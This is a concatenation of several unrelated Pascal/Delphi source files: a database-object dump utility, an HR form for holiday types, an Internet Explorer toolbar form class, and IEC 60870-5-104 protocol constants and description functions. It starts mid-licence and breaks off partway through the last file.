LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
(§LIC_END)
}
{$mode objfpc}{$H+}
{$LIBRARYPATH ../../lib}
uses
// cmem,
{$IFDEF UNIX}
cthreads,
{$ENDIF}
classes,
fos_tool_interfaces,
fos_default_implementation,
fre_system,
fre_db_core;
procedure WriteHelp(const error:string);
begin
if error<>'' then
begin
writeln('ERROR: '+error);
writeln('use:');
end;
writeln('catdbo [-j|-s] filename');
writeln('dumps a dbo');
writeln('-j : in json format');
writeln('-s : in json streaming format');
halt;
end;
procedure Dumpfile(const mode:integer);
var dbo : TFRE_DB_Object;
fn : string;
begin
case mode of
0 : begin
fn := ParamStr(1);
dbo := TFRE_DB_Object.CreateFromFile(fn);
writeln(dbo.DumpToString());
end;
1 : begin
fn := ParamStr(2);
dbo := TFRE_DB_Object.CreateFromFile(fn);
writeln(dbo.GetAsJSONString());
end;
2 : begin
fn := ParamStr(2);
dbo := TFRE_DB_Object.CreateFromFile(fn);
writeln(dbo.GetAsJSONString(false,true));
end;
end;
end;
begin
InitMinimal();
GFRE_DB.LocalZone := 'Europe/Vienna';
cFRE_WEAK_CLASSES_ALLOWED := true;
case Paramcount of
0: WriteHelp('');
1: Dumpfile(0);
2: begin
case ParamStr(1) of
'-j' : Dumpfile(1);
'-s' : Dumpfile(2);
else
WriteHelp('invalid syntax, second parameter,if set, must be -j or -s');
end;
end;
else
WriteHelp('invalid syntax, command accepts one or two parameters');
end;
end.
|
{ -$Id: AddHoliday.pas,v 1.3 2007/01/30 15:48:52 oleg Exp $}
{******************************************************************************}
{ Автоматизированная система управления персоналом }
{ (c) Донецкий национальный университет, 2002-2004 }
{******************************************************************************}
{ Модуль "Информация по видам отпусков" }
{ Отображение, редактирование и добавлении информации по видам отпусков. }
{ Ответственный:Данил Збуривский }
unit AddHoliday;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, SpComboBox, Mask, CheckEditUnit, Buttons, Db, IBCustomDataSet,
IBQuery, FieldControl, EditControl, SpCommon, PersonalCommon, CheckLst;
type
TAddHolidayForm = class(TAddForm)
HolidayPropList: TCheckListBox;
AllPropQuery: TIBQuery;
WorkQuery: TIBQuery;
HolPropQuery: TIBQuery;
AllPropQueryID_PROP: TIntegerField;
AllPropQueryNAME_PROP: TIBStringField;
HolPropQueryID_PROP: TIntegerField;
HolPropQueryNAME_PROP: TIBStringField;
DetailsQueryNAME_HOLIDAY: TIBStringField;
Label1: TLabel;
VoplComboBox: TSpComboBox;
FC_VOPL: TFieldControl;
Label2: TLabel;
DetailsQueryID_VIDOPL: TIntegerField;
VihodBox: TSpComboBox;
Label3: TLabel;
FC_Vihod: TFieldControl;
DetailsQueryVIHOD_TYPE: TIntegerField;
Label4: TLabel;
DontCalcHolidays: TCheckBox;
FC_DontCalcHolidays: TFieldControl;
DetailsQueryDONT_CALC_HOLIDAYS: TIBStringField;
procedure FormCreate(Sender: TObject);
published
Name_HolidayLabel: TLabel;
Is_MainLabel: TLabel;
Default_TermLabel: TLabel;
Is_PayLabel: TLabel;
DetailsQuery: TIBQuery;
Name_HolidayEdit: TCheckEdit;
FC_Name_Holiday: TFieldControl;
Is_MainBox: TCheckBox;
DetailsQueryIs_Main: TIBStringField;
FC_Is_Main: TFieldControl;
Default_TermEdit: TCheckEdit;
DetailsQueryDefault_Term: TIntegerField;
FC_Default_Term: TFieldControl;
Is_PayBox: TCheckBox;
DetailsQueryIs_Pay: TIBStringField;
FC_Is_Pay: TFieldControl;
OkButton: TBitBtn;
CancelButton: TBitBtn;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure OkButtonClick(Sender: TObject);
public
FormControl: TEditControl;
Mode: TEditMode;
Id_Holiday: Integer;
procedure Prepare(Mode: TEditMode; id: Integer); override;
procedure BuildPropList;
procedure ReBuildPropList;
function GetId: Integer; override;
end;
var
AddHolidayForm: TAddHolidayForm;
implementation
{$R *.DFM}
procedure TAddHolidayForm.BuildPropList;
begin
HolidayPropList.Clear;
with AllPropQuery do
begin
Close;
Open;
First;
while not Eof do
begin
HolidayPropList.Items.Add(FieldValues['Name_Prop']);
Next;
end;
end;
with HolPropQuery do
begin
Params.ParamValues['id_holiday'] := ID_HOLIDAY;
Close;
Open;
ReBuildPropList;
end;
end;
procedure TAddHolidayForm.ReBuildPropList;
var
i: Integer;
begin
for i := 0 to HolidayPropList.Items.Count - 1 do
HolidayPropList.Checked[i] := False;
if Mode <> emNew then
begin
with HolidayPropList do
for i := 0 to Items.Count - 1 do
begin
if HolPropQuery.Locate('Name_Prop', Items[i], []) then
HolidayPropList.Checked[i] := True;
end;
end;
end;
procedure TAddHolidayForm.Prepare(Mode: TEditMode; id: Integer);
begin
Self.Mode := Mode;
if Mode = emNew then Caption := 'Додати відпустку'
else if Mode = emModify then Caption := 'Змінити відпустку'
else Caption := 'Додаткова інформація по відпустці';
DetailsQuery.Transaction := PersonalCommon.ReadTransaction;
Id_Holiday := id;
if Mode <> emNew then
with DetailsQuery do
begin
Close;
Params.ParamValues['Id_Holiday'] := id;
Open;
if DetailsQuery.IsEmpty then
MessageDlg('Не вдалося знайти запис. ' +
'Можливо, його вилучив інший користувач!',
mtError, [mbOk], 0);
end;
FormControl := TEditControl.Create;
FormControl.Add([FC_Name_Holiday, FC_Is_Main, FC_Default_Term, FC_Is_Pay, FC_VOPL,
FC_Vihod, FC_DontCalcHolidays]);
BuildPropList;
FormControl.Prepare(Mode);
FormControl.SetReadOnly(Mode = emView);
OkButton.OnClick := OkButtonClick;
OnClose := FormClose;
end;
function TAddHolidayForm.GetId: Integer;
begin
Result := Id_Holiday;
end;
procedure TAddHolidayForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
VoplComboBox.SaveIntoRegistry;
FormControl.Free;
if FormStyle = fsMDIChild then Action := caFree;
end;
procedure TAddHolidayForm.OkButtonClick(Sender: TObject);
var
ok: Boolean;
ch, i: Integer;
begin
FormControl.Read;
if FormControl.CheckFill then
begin
if Mode = emNew then
ok := FormControl.ExecProc('Sp_Holiday_Insert', [], True)
else ok := FormControl.ExecProc('Sp_Holiday_Update', [
DetailsQuery.Params.ParamValues['Id_Holiday']]);
if not ok then ModalResult := 0;
if Mode = emNew then Id_Holiday := LastId;
with HolidayPropList do
for i := 0 to Items.Count - 1 do
begin
if Checked[i] then Ch := 1
else Ch := 0;
with WorkQuery.SQL do
begin
Clear;
AllPropQuery.Locate('Name_Prop', Items[i], []);
Add('EXECUTE PROCEDURE HOLIDAY_PROP_UPDATE ' +
IntToStr(AllPropQuery['Id_Prop']) + ',' + IntToStr(ID_HOLIDAY) + ',' +
IntToStr(Ch));
end;
ExecQuery(WorkQuery);
end;
end
else ModalResult := 0;
end;
procedure TAddHolidayForm.FormCreate(Sender: TObject);
begin
AllPropQuery.Transaction := PersonalCommon.ReadTransaction;
HolPropQuery.Transaction := PersonalCommon.ReadTransaction;
WorkQuery.Transaction := PersonalCommon.WriteTransaction;
end;
initialization
RegisterClass(TAddHolidayForm);
end.
|
unit NLDSBForm;
interface
uses
Windows,
SysUtils,
Forms,
Controls,
NLDSBExplorerBar,
SHDocVw;
type
{
:$ Contains the necessary code to make a frame function as an
:$ Internet Explorer toolbar
}
TNLDSBForm = class(TForm, IBandClass)
private
FBrowser: IWebBrowserApp;
FExplorer: TInternetExplorer;
protected
procedure Loaded(); override;
// IBandClass
procedure SetWebBrowserApp(const ABrowser: IWebBrowserApp);
// Available for overriding...
procedure BeforeNavigate(Sender: TObject; var pDisp: OleVariant;
var URL: OleVariant; var Flags: OleVariant;
var TargetFrameName: OleVariant;
var PostData: OleVariant; var Headers: OleVariant;
var Cancel: OleVariant); virtual;
public
property Browser: IWebBrowserApp read FBrowser;
property Explorer: TInternetExplorer read FExplorer;
end;
{$R *.DFM}
implementation
{****************************************
TNLDSBForm
****************************************}
procedure TNLDSBForm.BeforeNavigate;
begin
// Do nothing...
end;
procedure TNLDSBForm.Loaded;
begin
inherited;
// Make sure we never have a border...
BorderStyle := bsNone;
Visible := True;
TabStop := True;
end;
procedure TNLDSBForm.SetWebBrowserApp;
{
var
ifBrowser: IWebBrowser2;
}
begin
FBrowser := ABrowser;
{ Causes random IE crashes, still have to figure out why...
if Assigned(FBrowser) then begin
if Supports(FBrowser, IWebBrowser2, ifBrowser) then begin
FExplorer := TInternetExplorer.Create(nil);
FExplorer.ConnectTo(ifBrowser);
FExplorer.OnBeforeNavigate2 := BeforeNavigate;
ifBrowser := nil;
end else
FreeAndNil(FExplorer);
end else
FreeAndNil(FExplorer);
}
end;
end.
|
{$I eDefines.inc}
unit iec104defs;
interface
uses sysutils;
type EIEC104Exception = Exception;
const STARTDT_ACT = $07; // start data transfer activation
STARTDT_CON = $0b; // start data transfer confirmation
STOPDT_ACT = $13; // stop data transfer activation
STOPDT_CON = $23; // stop data transfer confirmation
TESTFR_ACT = $43; // test frame activation
TESTFR_CON = $83; // test frame confirmation
// причины передачи
COT_PERCYC = 1; // периодически, циклически
COT_BACK = 2; // фоновое сканирование
COT_SPONT = 3; // спорадически
COT_INIT = 4; // сообщение об инициализации
COT_REQ = 5; // запрос или запрашиваемые данные
COT_ACT = 6; // активация
COT_ACTCON = 7; // подтверждение активации
COT_DEACT = 8; // деактивация
COT_DEACTCON = 9; // подтверждение деактивации
COT_ACTTERM = 10; // завершение активации
COT_RETREM = 11; // обратная информация вызванная удаленной командой
COT_RETLOC = 12; // обратная информация вызванная локальной командой
COT_FILE = 13; // передача файлов
//
COT_INTROGEN = 20; // ответ на опрос станции
COT_INTRO1 = 21; // ответ на опрос группы 1
COT_INTRO2 = 22; // ответ на опрос группы 2
COT_INTRO3 = 23; // ответ на опрос группы 3
COT_INTRO4 = 24; // ответ на опрос группы 4
COT_INTRO5 = 25; // ответ на опрос группы 5
COT_INTRO6 = 26; // ответ на опрос группы 6
COT_INTRO7 = 27; // ответ на опрос группы 7
COT_INTRO8 = 28; // ответ на опрос группы 8
COT_INTRO9 = 29; // ответ на опрос группы 9
COT_INTRO10 = 30; // ответ на опрос группы 10
COT_INTRO11 = 31; // ответ на опрос группы 11
COT_INTRO12 = 32; // ответ на опрос группы 12
COT_INTRO13 = 33; // ответ на опрос группы 13
COT_INTRO14 = 34; // ответ на опрос группы 14
COT_INTRO15 = 35; // ответ на опрос группы 15
COT_INTRO16 = 36; // ответ на опрос группы 16
COT_REQCOGEN = 37; // ответ на опрос счетчиков
COT_REQCO1 = 38; // ответ на опрос группы счетчиков 1
COT_REQCO2 = 39; // ответ на опрос группы счетчиков 2
COT_REQCO3 = 40; // ответ на опрос группы счетчиков 3
COT_REQCO4 = 41; // ответ на опрос группы счетчиков 4
//
COT_BADTYPEID = 44; // неизвестный идентификатор типа
COT_BADCOT = 45; // неизвестный причина передачи
COT_BADCA = 46; // неизвестный общий адрес ASDU
COT_BADIOA = 47; // неизвестный адрес объекта информации
// идентификаторы типа ASDU: информация о процессе в направлении контроля
M_SP_NA_1 = 1; // + одноэлементая информация
M_SP_TA_1 = 2; // + одноэлементая информация с меткой времени
M_DP_NA_1 = 3; // + двухэлементая информация
M_DP_TA_1 = 4; // + двухэлементая информация с меткой времени
M_ST_NA_1 = 5; // + информация о положении отпаек (отводов трансформатора)
M_ST_TA_1 = 6; // + информация о положении отпаек с меткой времени
M_BO_NA_1 = 7; // + строка из 32-х бит
M_BO_TA_1 = 8; // + строка из 32-х бит с меткой времени
M_ME_NA_1 = 9; // + нормализованное значение измеряемой величины
M_ME_TA_1 = 10; // + нормализованное значение измеряемой величины с меткой времени
M_ME_NB_1 = 11; // + масштабированное значение измеряемой величины
M_ME_TB_1 = 12; // + масштабированное значение измеряемой величины с меткой времени
M_ME_NC_1 = 13; // + значение измеряемой величины, короткий формат с плавающей точкой
M_ME_TC_1 = 14; // + значение измеряемой величины, короткий формат с плавающей точкой с меткой времени
M_IT_NA_1 = 15; // + интегральная сумма
M_IT_TA_1 = 16; // + интегральная сумма с меткой времени
M_EP_TA_1 = 17; // + информация о работе релейной защиты с меткой времени
M_EP_TB_1 = 18; // упакованная информация о срабатывании пусковых органов защиты с меткой времени
M_EP_TC_1 = 19; // упакованная информация о срабатывании выходных цепей защиты с меткой времени
M_PS_NA_1 = 20; // упакованная одноэлементная информация с указателем изменения состояния
M_ME_ND_1 = 21; // + нормализованное значение измеряемой величины без описателя качества
// 22..29; // резерв
M_SP_TB_1 = 30; // + одноэлементая информация с меткой времени CP56Time2a
M_DP_TB_1 = 31; // + двухэлементая информация с меткой времени CP56Time2a
M_ST_TB_1 = 32; // + информация о положении отпаек с меткой времени CP56Time2a
M_BO_TB_1 = 33; // + строка из 32-х бит с меткой времени CP56Time2a
M_ME_TD_1 = 34; // + нормализованное значение измеряемой величины с меткой времени CP56Time2a
M_ME_TE_1 = 35; // + масштабированное значение измеряемой величины с меткой времени CP56Time2a
M_ME_TF_1 = 36; // + значение измеряемой величины, короткий формат с плавающей точкой с меткой времени CP56Time2a
M_IT_TB_1 = 37; // + интегральная сумма с меткой времени CP56Time2a
M_EP_TD_1 = 38; // + информация о работе релейной защиты с меткой времени CP56Time2a
M_EP_TE_1 = 39; // упакованная информация о срабатывании пусковых органов защиты с меткой времени CP56Time2a
M_EP_TF_1 = 40; // упакованная информация о срабатывании выходных цепей защиты с меткой времени CP56Time2a
// 41..44; // резерв
// идентификаторы типа ASDU: информация о процессе в направлении управления
C_SC_NA_1 = 45; // + однопозиционная команда
C_DC_NA_1 = 46; // + двухпозиционная команда
C_RC_NA_1 = 47; // + команда пошагового регулирования
C_SE_NA_1 = 48; // команда уставки, нормализованное значение
C_SE_NB_1 = 49; // команда уставки, масштабированное значение
C_SE_NC_1 = 50; // команда уставки, короткий формат с плавающей точкой
C_BO_NA_1 = 51; // + строка из 32 бит
// 52..57; // резерв
// идентификаторы типа ASDU: информация о процессе в направлении управления с меткой времени
C_SC_TA_1 = 58; // + однопозиционная команда с меткой времени CP56Time2a
C_DC_TA_1 = 59; // + двухпозиционная команда с меткой времени CP56Time2a
C_RC_TA_1 = 60; // + команда пошагового регулирования с меткой времени CP56Time2a
C_SE_TA_1 = 61; // команда уставки, нормализованное значение с меткой времени CP56Time2a
C_SE_TB_1 = 62; // команда уставки, масштабированное значение с меткой времени CP56Time2a
C_SE_TC_1 = 63; // команда уставки, короткий формат с плавающей точкой с меткой времени CP56Time2a
C_BO_TA_1 = 64; // + строка из 32 бит с меткой времени CP56Time2a
// 65..69; // резерв
// идентификаторы типа ASDU: системная информация в направлении контроля
M_EI_NA_1 = 70; // + конец инициализации (должен быть COT_INIT)
// 71..99; // резерв
// идентификаторы типа ASDU: системная информация в направлении управления
C_IC_NA_1 = 100; // + команда опроса
C_CI_NA_1 = 101; // + команда опроса счетчиков
C_RD_NA_1 = 102; // + команда чтения
C_CS_NA_1 = 103; // + команда синхронизации часов
C_TS_NA_1 = 104; // + команда тестирования
C_RP_NA_1 = 105; // + команда сброса процесса в исходное состояние
C_CD_NA_1 = 106; // + команда определения запаздывания
C_TS_TA_1 = 107; // + команда тестирования c меткой времени
// 107..109; // резерв
// идентификаторы типа ASDU: параметры в направлении управления
P_ME_NA_1 = 110; // нормализованный параметр измеряемой величины
P_ME_NB_1 = 111; // масштабированный параметр измеряемой величины
P_ME_NC_1 = 112; // параметр измеряемой величины, короткий формат с плавающей точкой
P_AC_NA_1 = 113; // параметр активации
// 114..119; // резерв
// идентификаторы типа ASDU: передача файлов
F_FR_NA_1 = 120; // файл готов
F_SR_NA_1 = 121; // секция готова
F_SC_NA_1 = 122; // вызов директории, выбор файла, вызов файла, вызов секции
F_LS_NA_1 = 123; // последняя секция, последний сегмент
F_AF_NA_1 = 124; // подтверждение файла, подтверждение секции
F_SG_NA_1 = 125; // сегмент
F_DR_NA_1 = 126; // директория
// 127; // резерв
// monitor direction: slave(server) -> master(client)
// control direction: master(client) -> slave(server)
//
// Размеры информационных элементов:
// Process information in monitor direction: slave(server) -> master(client)
szSIQ = 1; // single-point information with quality descriptor
szDIQ = 1; // double-point information with quality descriptor
szBSI = 4; // binary state information
szSCD = 4; // status and change detection
szQDS = 1; // quality descriptor
szVTI = 1; // value with transient state indication
szNVA = 2; // normalized value
szSVA = 2; // scaled value
szIEEESTD754 = 4; // short floating point number
szBCR = 5; // binary counter reading
// защита
szSEP = 1; // single event of protection equipment
szSPE = 1; // start events of protection equipment
szOCI = 1; // output circuit information of protection equipment
szQDP = 1; // quality descriptor for events of protection equipment
// команды
szSCO = 1; // single command
szDCO = 1; // double command
szRCO = 1; // regulating step command
// метки времени
szCP56Time2a = 7; // метка времени
szCP24Time2a = 3; // метка времени
szCP16Time2a = 2; // метка времени
// qualifiers (классификаторы)
szQOI = 1; // qualifier of interrogation
szQCC = 1; // qualifier of counter interrogation command
szQPM = 1; // qualifier of parameter of measured values
szQPA = 1; // qualifier of parameter activation
szQRP = 1; // qualifier of reset process command
szQOC = 1; // qualifier of command
szQOS = 1; // qualifier of set-point command
//
szCOI = 1; // cause of initialization
szFBP = 2; // fixed test bit pattern, two octets
//
szNOF = 2; // name of file
szLOF = 3; // length of file or section
szFRQ = 1; // file ready qualifier
szNOS = 2; // name of section
szSRQ = 1; // section ready qualifier
szSCQ = 1; // select and call qualifier
szLSQ = 1; // last section or segment qualifier
szCHS = 1; // check sum
szAFQ = 1; // Acknowledge file or section qualifier
szSOF = 1; // status of file
//
function IECASDUInfElementSize(AT: Byte): Integer;
//
function IECASDUTypeDescription(AT: Byte): String;
//
function IECASDUTypeShortDescription(AT: Byte): String;
//
function IECASDUCOTDescription(COT: Byte): String;
implementation
function IECASDUInfElementSize(AT: Byte): Integer;
begin
Case AT of
// идетификаторы типа ASDU: информация о процессе в направлении контроля
M_SP_NA_1: result:= szSIQ; // SIQ
M_SP_TA_1: result:= szSIQ + szCP24Time2a; // SIQ + CP24Time2a
M_DP_NA_1: result:= szDIQ; // DIQ
M_DP_TA_1: result:= szDIQ + szCP24Time2a; // DIQ + CP24Time2a
M_ST_NA_1: result:= szVTI + szQDS; // VTI + QDS
M_ST_TA_1: result:= szVTI + szQDS + szCP24Time2a; // VTI + QDS + CP24Time2a
M_BO_NA_1: result:= szBSI + szQDS; // BSI + QDS
M_BO_TA_1: result:= szBSI + szQDS + szCP24Time2a; // BSI + QDS + CP24Time2a
M_ME_NA_1: result:= szNVA + szQDS; // NVA + QDS
M_ME_TA_1: result:= szNVA + szQDS + szCP24Time2a; // Measured value, normalized value with time tag
M_ME_NB_1: result:= szSVA + szQDS; // Measured value, scaled value
M_ME_TB_1: result:= szSVA + szQDS + szCP24Time2a; // Measured value, scaled value with time tag
M_ME_NC_1: result:= szIEEESTD754 + szQDS; // Measured value, short floating point value
M_ME_TC_1: result:= szIEEESTD754 + szQDS + szCP24Time2a; // Measured value, short floating point value with time tag
M_IT_NA_1: result:= szBCR; // Integrated totals
M_IT_TA_1: result:= szBCR + szCP24Time2a; // Integrated totals with time tag
M_EP_TA_1: result:= szCP16Time2a + szCP24Time2a; // Event of protection equipment with time tag
M_EP_TB_1: result:= szSEP + szQDP + szCP16Time2a + szCP24Time2a; // Packed start events of protection equipment with time tag
M_EP_TC_1: result:= szOCI + szQDP + szCP16Time2a + szCP24Time2a; // Packed output circuit information of protection equipment with time tag
M_PS_NA_1: result:= szSCD + szQDS; // Packed single-point information with status change detection
M_ME_ND_1: result:= szNVA; // Measured value, normalized value without quality descriptor
//
// Process telegrams with long time tag (7 octets)
M_SP_TB_1: result:= szSIQ + szCP56Time2a; // Single point information with time tag CP56Time2a
M_DP_TB_1: result:= szDIQ + szCP56Time2a; // Double point information with time tag CP56Time2a
M_ST_TB_1: result:= szVTI + szQDS + szCP56Time2a; // Step position information with time tag CP56Time2a
M_BO_TB_1: result:= szBSI + szQDS + szCP56Time2a; // Bit string of 32 bit with time tag CP56Time2a
M_ME_TD_1: result:= szNVA + szQDS + szCP56Time2a; // Measured value, normalized value with time tag CP56Time2a
M_ME_TE_1: result:= szSVA + szQDS + szCP56Time2a; // Measured value, scaled value with time tag CP56Time2a
M_ME_TF_1: result:= szIEEESTD754 + szQDS + szCP56Time2a; // Measured value, short floating point value with time tag CP56Time2a
M_IT_TB_1: result:= szBCR + szCP56Time2a; // Integrated totals with time tag CP56Time2a
M_EP_TD_1: result:= szCP16Time2a + szCP56Time2a; // Event of protection equipment with time tag CP56Time2a
M_EP_TE_1: result:= szSEP + szQDP + szCP16Time2a + szCP56Time2a; // Packed start events of protection equipment with time tag CP56time2a
M_EP_TF_1: result:= szOCI + szQDP + szCP16Time2a + szCP56Time2a; // Packed output circuit information of protection equipment with time tag CP56Time2a
//
// идетификаторы типа ASDU: информация о процессе в направлении управления
C_SC_NA_1: result:= szSCO; // Single command
C_DC_NA_1: result:= szDCO; // Double command
C_RC_NA_1: result:= szRCO; // Regulating step command
C_SE_NA_1: result:= szNVA + szQOS; // Setpoint command, normalized value
C_SE_NB_1: result:= szSVA + szQOS; // Setpoint command, scaled value
C_SE_NC_1: result:= szIEEESTD754 + szQOS; // Setpoint command, short floating point value
C_BO_NA_1: result:= szBSI; // Bit string 32 bit
//
// Command telegrams with long time tag (7 octets)
C_SC_TA_1: result:= szSCO + szCP56Time2a; // Single command with time tag CP56Time2a
C_DC_TA_1: result:= szDCO + szCP56Time2a; // Double command with time tag CP56Time2a
C_RC_TA_1: result:= szRCO + szCP56Time2a; // Regulating step command with time tag CP56Time2a
C_SE_TA_1: result:= szNVA + szQOS + szCP56Time2a; // Setpoint command, normalized value with time tag CP56Time2a
C_SE_TB_1: result:= szSVA + szQOS + szCP56Time2a; // Setpoint command, scaled value with time tag CP56Time2a
C_SE_TC_1: result:= szIEEESTD754 + szQOS + szCP56Time2a; // Setpoint command, short floating point value with time tag CP56Time2a
C_BO_TA_1: result:= szBSI + szCP56Time2a; // Bit string 32 bit with time tag CP56Time2a
//
// идетификаторы типа ASDU: системная информация в направлении контроля
M_EI_NA_1: result:= szCOI; // End of initialization
//
// идетификаторы типа ASDU: системная информация в направлении управления
C_IC_NA_1: result:= szQOI; // General Interrogation command
C_CI_NA_1: result:= szQCC; // Counter interrogation command
C_RD_NA_1: result:= 0; // Read command
C_CS_NA_1: result:= szCP56Time2a; // Clock synchronization command
C_TS_NA_1: result:= szFBP; // (IEC 101) Test command
C_RP_NA_1: result:= szQRP; // Reset process command
C_CD_NA_1: result:= szCP16Time2a; // (IEC 101) Delay acquisition command
C_TS_TA_1: result:= szFBP + szCP56Time2a; // Test command with time tag CP56Time2a
//
// идетификаторы типа ASDU: параметры в направлении управления
P_ME_NA_1: result:= szNVA + szQPM; // Parameter of measured value, normalized value
P_ME_NB_1: result:= szSVA + szQPM; // Parameter of measured value, scaled value
P_ME_NC_1: result:= szIEEESTD754 + szQPM; // Parameter of measured value, short floating point value
P_AC_NA_1: result:= szQPA; // Parameter activation
//
// идетификаторы типа ASDU: передача файлов
F_FR_NA_1: result:= szNOF + szLOF + szFRQ; // File ready
F_SR_NA_1: result:= szNOF + szNOS + szLOF + szSRQ; // Section ready
F_SC_NA_1: result:= szNOF + szNOS + szSCQ; // Call directory, select file, call file, call section
F_LS_NA_1: result:= szNOF + szNOS + szLSQ + szCHS; // Last section, last segment
F_AF_NA_1: result:= szNOF + szNOS + szAFQ; // Ack file, Ack section
// 125: result:= szNOF + szNOS + szLOS + szSegment; // Segment
F_DR_NA_1: result:= szNOF + szLOF + szSOF + szCP56Time2a; // Directory
// 127: result:= 'QueryLog–Request archive file'; // QueryLog–Request archive file
//
else raise EIEC104Exception.CreateFmt('unsupported ASDU type:%u', [AT]);
end;
end;
//
function IECASDUTypeDescription(AT: Byte): String;
begin
Case AT of
// идетификаторы типа ASDU: информация о процессе в направлении контроля
M_SP_NA_1: result:= 'Single point information';
M_SP_TA_1: result:= 'Single point information with time tag';
M_DP_NA_1: result:= 'Double point information';
M_DP_TA_1: result:= 'Double point information with time tag';
M_ST_NA_1: result:= 'Step position information';
M_ST_TA_1: result:= 'Step position information with time tag';
M_BO_NA_1: result:= 'Bit string of 32 bit';
M_BO_TA_1: result:= 'Bit string of 32 bit with time tag';
M_ME_NA_1: result:= 'Measured value, normalized value';
M_ME_TA_1: result:= 'Measured value, normalized value with time tag';
M_ME_NB_1: result:= 'Measured value, scaled value';
M_ME_TB_1: result:= 'Measured value, scaled value with time tag';
M_ME_NC_1: result:= 'Measured value, short floating point value';
M_ME_TC_1: result:= 'Measured value, short floating point value with time tag';
M_IT_NA_1: result:= 'Integrated totals';
M_IT_TA_1: result:= 'Integrated totals with time tag';
M_EP_TA_1: result:= 'Event of protection equipment with time tag';
M_EP_TB_1: result:= 'Packed start events of protection equipment with time tag';
M_EP_TC_1: result:= 'Packed output circuit information of protection equipment with time tag';
M_PS_NA_1: result:= 'Packed single-point information with status change detection';
M_ME_ND_1: result:= 'Measured value, normalized value without quality descriptor';
//
// Process telegrams with long time tag (7 octets)
M_SP_TB_1: result:= 'Single point information with time tag CP56Time2a';
M_DP_TB_1: result:= 'Double point information with time tag CP56Time2a';
M_ST_TB_1: result:= 'Step position information with time tag CP56Time2a';
M_BO_TB_1: result:= 'Bit string of 32 bit with time tag CP56Time2a';
M_ME_TD_1: result:= 'Measured value, normalized value with time tag CP56Time2a';
M_ME_TE_1: result:= 'Measured value, scaled value with time tag CP56Time2a';
M_ME_TF_1: result:= 'Measured value, short floating point value with time tag CP56Time2a';
M_IT_TB_1: result:= 'Integrated totals with time tag CP56Time2a';
M_EP_TD_1: result:= 'Event of protection equipment with time tag CP56Time2a';
M_EP_TE_1: result:= 'Packed start events of protection equipment with time tag CP56time2a';
M_EP_TF_1: result:= 'Packed output circuit information of protection equipment with time tag CP56Time2a';
//
// идетификаторы типа ASDU: информация о процессе в направлении управления
C_SC_NA_1: result:= 'Single command';
C_DC_NA_1: result:= 'Double command';
C_RC_NA_1: result:= 'Regulating step command';
C_SE_NA_1: result:= 'Setpoint command, normalized value';
C_SE_NB_1: result:= 'Setpoint command, scaled value';
C_SE_NC_1: result:= 'Setpoint command, short floating point value';
C_BO_NA_1: result:= 'Bit string 32 bit';
//
// Command telegrams with long time tag (7 octets)
C_SC_TA_1: result:= 'Single command with time tag CP56Time2a';
C_DC_TA_1: result:= 'Double command with time tag CP56Time2a';
C_RC_TA_1: result:= 'Regulating step command with time tag CP56Time2a';
C_SE_TA_1: result:= 'Setpoint command, normalized value with time tag CP56Time2a';
C_SE_TB_1: result:= 'Setpoint command, scaled value with time tag CP56Time2a';
C_SE_TC_1: result:= 'Setpoint command, short floating point value with time tag CP56Time2a';
C_BO_TA_1: result:= 'Bit string 32 bit with time tag CP56Time2a';
//
// System information in monitor direction
M_EI_NA_1: result:= 'End of initialization';
//
// идетификаторы типа ASDU: системная информация в направлении управления
C_IC_NA_1: result:= 'General Interrogation command';
C_CI_NA_1: result:= 'Counter interrogation command';
C_RD_NA_1: result:= 'Read command';
C_CS_NA_1: result:= 'Clock synchronization command';
C_TS_NA_1: result:= '(IEC 101) Test command';
C_RP_NA_1: result:= 'Reset process command';
C_CD_NA_1: result:= '(IEC 101) Delay acquisition command';
C_TS_TA_1: result:= 'Test command with time tag CP56Time2a';
//
// идетификаторы типа ASDU: параметры в направлении управления
P_ME_NA_1: result:= 'Parameter of measured value, normalized value';
P_ME_NB_1: result:= 'Parameter of measured value, scaled value';
P_ME_NC_1: result:= 'Parameter of measured value, short floating point value';
P_AC_NA_1: result:= 'Parameter activation';
//
// идетификаторы типа ASDU: передача файлов
F_FR_NA_1: result:= 'File ready';
F_SR_NA_1: result:= 'Section ready';
F_SC_NA_1: result:= 'Call directory, select file, call file, call section';
F_LS_NA_1: result:= 'Last section, last segment';
F_AF_NA_1: result:= 'Ack file, Ack section';
F_SG_NA_1: result:= 'Segment';
F_DR_NA_1: result:= 'Directory';
127: result:= 'QueryLog–Request archive file';
//
else result:= 'Unknown';
end;
result:= result + ' (' + IntToStr(AT) + ')';
end;
//
function IECASDUTypeShortDescription(AT: Byte): String;
begin
Case AT of
// идетификаторы типа ASDU: информация о процессе в направлении контроля
M_SP_NA_1: result:= 'M_SP_NA_1';
M_SP_TA_1: result:= 'M_SP_TA_1';
M_DP_NA_1: result:= 'M_DP_NA_1';
M_DP_TA_1: result:= 'M_DP_TA_1';
M_ST_NA_1: result:= 'M_ST_NA_1';
M_ST_TA_1: result:= 'M_ST_TA_1';
M_BO_NA_1: result:= 'M_BO_NA_1';
M_BO_TA_1: result:= 'M_BO_TA_1';
M_ME_NA_1: result:= 'M_ME_NA_1';
M_ME_TA_1: result:= 'M_ME_TA_1';
M_ME_NB_1: result:= 'M_ME_NB_1';
M_ME_TB_1: result:= 'M_ME_TB_1';
M_ME_NC_1: result:= 'M_ME_NC_1';
M_ME_TC_1: result:= 'M_ME_TC_1';
M_IT_NA_1: result:= 'M_IT_NA_1';
M_IT_TA_1: result:= 'M_IT_TA_1';
M_EP_TA_1: result:= 'M_EP_TA_1';
M_EP_TB_1: result:= 'M_EP_TB_1';
M_EP_TC_1: result:= 'M_EP_TC_1';
M_PS_NA_1: result:= 'M_PS_NA_1';
M_ME_ND_1: result:= 'M_ME_ND_1';
//
// Process telegrams with long time tag (7 octets)
M_SP_TB_1: result:= 'M_SP_TB_1';
M_DP_TB_1: result:= 'M_DP_TB_1';
M_ST_TB_1: result:= 'M_ST_TB_1';
M_BO_TB_1: result:= 'M_BO_TB_1';
